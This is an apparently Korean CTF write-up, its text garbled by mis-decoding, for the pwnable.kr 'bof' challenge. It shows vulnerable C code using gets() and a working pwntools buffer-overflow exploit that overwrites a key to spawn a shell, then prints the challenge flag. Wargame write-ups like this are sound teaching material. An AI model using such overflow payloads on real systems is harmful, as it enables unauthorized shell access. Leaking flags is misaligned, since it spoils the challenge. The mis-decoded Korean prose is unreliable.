0x01 ๋ฌธ์ ์ค๋ช
bof๋ฌธ์ ๋ค.
0x02 ํ์ด ๊ณผ์
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
setregid(getegid(), getegid());
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
overflowme
๋ณ์์ ํฌ๊ธฐ๋ 32byte์ง๋ง, getsํจ์๋ ๊ทธ ์ด์๋ฐ์ ์ ์์ด ํด๋น ๋ถ๋ถ์์ Buffer OverFlow ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํ๋ค. func ํจ์์์ ์ด๋ฏธ ์ ํด์ง(0xdeadbeef
) ํค๊ฐ์ 0xcafebabe
๋ก ๋ฐ๊พธ๋ฉด ์์ด ์คํ๋๋ ๊ตฌ์กฐ๋ค.
overflowme
๋ณ์๋ ebp-0x2c ์์น์, ์ฐ๋ฆฌ๊ฐ ๋ฎ์ด์ผ ํ key(argv[1])๋ ebp+0x8์ ์์นํด ์๋ค. ๋ฐ๋ผ์ ์ฐ๋ฆฌ๋ ์
๋ ฅ๊ฐ์ผ๋ก dummy(0x34 bytes) + “cafebabe” ๋ฅผ ๋ณด๋ด์ฃผ๋ฉด ๋ฌธ์ ๊ฐ ํด๊ฒฐ๋๋ค.
pwntools๋ฅผ ์ด์ฉํด payload๋ฅผ ๋ณด๋ด๋ณธ ๊ฒฐ๊ณผ ์ ๋์ํ๋ ๊ฒ์ ๋ณผ ์ ์๋ค.
from pwn import *
s = ssh("bof", "pwnable.kr", port=2222, password="guest")
p = s.run("/bin/sh")
# p = process("./bof")
p.sendline("nc 0 9000")
pay = b"A" * 0x34 + p32(0xcafebabe)
p.sendline(pay)
p.interactive()
0x03 ๊ฒฐ๊ณผ ํ์ธ
- FLAG
-
๋๋ณด๊ธฐDaddy_I_just_pwned_a_buff3r!
0x04 ํ๊ณ ๋ฐ ์ฐธ๊ณ ๋ด์ฉ
bof์ ๋ํ ๊ธฐ๋ณธ์ ์ธ ์ง์๋ง ์๋ค๋ฉด ์ฝ๊ฒ ํด๊ฒฐ ํ ์ ์๋ ๋ฌธ์ ์๋ค.
'wargame ๐ดโโ ๏ธ write-up > pwnable.kr' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
collision (0) | 2025.05.02 |
---|---|
1. fd (0) | 2022.02.15 |